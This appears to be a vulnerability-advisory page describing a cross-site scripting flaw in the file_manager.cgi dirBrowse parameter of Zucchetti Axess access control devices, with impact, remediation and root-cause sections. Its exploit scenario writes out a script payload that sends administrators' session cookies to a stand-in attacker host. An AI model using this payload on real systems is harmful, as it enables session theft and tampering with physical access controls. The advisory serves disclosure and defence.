Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Impact | Assessment of real-world risk is constrained by the absence of CVSS score, CVSS vector, EPSS probability data, and explicit KEV (Known Exploited Vulnerabilities) status. However, several factors indicate elevated practical risk: (1) the vulnerability affects network-accessible web interfaces on physical access control devices, which are typically high-value targets; (2) a public proof-of-concept exists on GitHub, lowering the barrier to exploitation; (3) XSS in admin interfaces can lead to account compromise and unauthorized access policy changes; (4) the affected products span multiple Zucchetti Axess device lines, suggesting wide deployment. Conversely, exploitation likely requires the attacker to deliver a malicious link to an authenticated administrator, suggesting medium attack complexity and requiring prior knowledge of the target system. Without CVSS severity data, this appears to be a high-impact but moderately complex vulnerability with real-world exploitation potential evidenced by the public POC. |
| Exploit ScenarioDerived | An attacker identifies a Zucchetti Axess device deployed at a target facility and crafts a malicious URL containing XSS payload in the dirBrowse parameter (e.g., /file_manager.cgi?dirBrowse=<script>fetch('http://attacker.com/steal?cookies='+document.cookie)</script>). The attacker sends this link to a facility administrator via spear-phishing email, claiming it references a file on the access control system. When the administrator clicks the link while authenticated to the web interface, the JavaScript executes in their browser session, allowing the attacker to steal session cookies, modify access policies, create backdoor administrator accounts, or extract credential information from the device configuration. The public GitHub POC lowers the technical barrier for less sophisticated attackers to execute this attack. |
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Alert meAnalysisAIv1 – Mar 18, 2026
A Cross-Site Scripting (XSS) vulnerability exists in the web-based configuration interface of Zucchetti Axess physical access control devices across multiple product lines (XA4, X3/X3BIO, X4, X7, and XIO/i-door/i-door+). The vulnerability stems from improper sanitization of the dirBrowse parameter in the /file_manager.cgi endpoint, allowing attackers to inject malicious scripts that execute in the context of authenticated administrators. A public proof-of-concept has been disclosed on GitHub (https://github.com/iremnurylmz/CVE-2026-30695), and given the lack of CVSS/EPSS scoring data and KEV status confirmation, the true exploitation likelihood remains uncertain but the presence of a POC elevates practical risk.
RemediationAI
Immediately contact Zucchetti for patch availability and upgrade guidance; check http://zucchetti.com and http://firmware.com for firmware updates applicable to your specific device model and version. Until patches are applied, implement compensating controls: restrict web-based management interface access to trusted administrator IP ranges using network-level access controls; require HTTPS with HSTS headers to prevent protocol downgrade; disable or limit the /file_manager.cgi endpoint if not actively used; enable administrative account lockout policies; and conduct security awareness training to reduce the likelihood that administrators will click on malicious links. Monitor access logs for suspicious dirBrowse parameter values containing script tags or encoded JavaScript.
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The vulnerability resides in the web-based management interface of Zucchetti Axess access control systems, which are embedded web applications running on dedicated hardware devices used for physical security. The root cause is a CWE-79 (Improper Neutralization of Input During Web Page Generation, also known as Cross-Site Scripting) flaw in the /file_manager.cgi endpoint, specifically in how the dirBrowse parameter is processed without adequate input validation or output encoding. Attackers can exploit this by crafting malicious URLs or form submissions containing JavaScript payloads that, when processed by the application, are reflected back to the user's browser without sanitization. This class of vulnerability is particularly dangerous in access control systems because administrative interfaces typically have elevated privileges, making XSS payloads capable of modifying user credentials, extracting audit logs, or reconfiguring access policies.
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AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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CVSS VectorVendor: mitre
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2DescriptionCVE.org
A Cross-Site Scripting (XSS) vulnerability exists in the web-based configuration interface of Zucchetti Axess access control devices, including XA4, X3/X3BIO, X4, X7, and XIO / i-door / i-door+. The vulnerability is caused by improper sanitization of user-supplied input in the dirBrowse parameter of the /file_manager.cgi endpoint.
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Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
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